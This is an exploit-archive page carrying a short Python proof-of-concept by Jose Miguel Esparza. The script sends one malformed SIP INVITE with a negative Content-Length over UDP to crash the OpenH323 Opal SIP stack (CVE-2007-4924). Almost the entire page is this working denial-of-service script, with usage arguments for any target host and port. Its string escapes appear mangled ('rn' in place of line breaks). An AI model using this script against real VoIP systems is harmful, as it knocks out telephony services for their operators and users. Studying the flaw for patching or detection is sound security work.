[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : OpenH323 Opal SIP Protocol Remote Denial of Service Exploit
# Published : 2009-07-24
# Author : Jose Miguel Esparza
# Previous Title : MP3 Studio 1.0 (.mpf /.m3u File) Local Stack Overflow PoC
# Next Title : Ekiga 2.0.5 (GetHostAddress) Remote Denial of Service Exploit
#!/usr/bin/env python
#
# OpenH323 Opal SIP Protocol Remote Denial of Service Vulnerability (CVE-2007-4924)
#
# opal228_dos.py by Jose Miguel Esparza
# 2007-10-08 S21sec labs
import sys,socket
if len(sys.argv) != 3:
sys.exit("Usage: " + sys.argv[0] + " target_host target_portn")
target = sys.argv[1]
targetPort = int(sys.argv[2])
malformedRequest = "INVITE sip:paco@192.168.1.134 SIP/2.0rn"+
"Call-ID:f81d4fae-7dec-11d0-a765-00a0c91e6bf6@foo.bar.comrn"+
"Contact:sip:pepe@192.168.1.133:5060rn"+
"Content-Length:-40999990rn"+
"Content-Type:application/sdprn"+
"CSeq:4321 INVITErn"+
"From:sip:pepe@192.168.1.133:5060;tag=a48srn"+
"Max-Forwards:70rn"+
"To:sip:paco@micasa.comrn"+
"Via:SIP/2.0/UDP 192.168.1.133:5060;branch=z9hG4bK74b76rnrn"
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect((target,targetPort))
s.sendall(malformedRequest)
s.close()
# www.Syue.com [2009-07-24]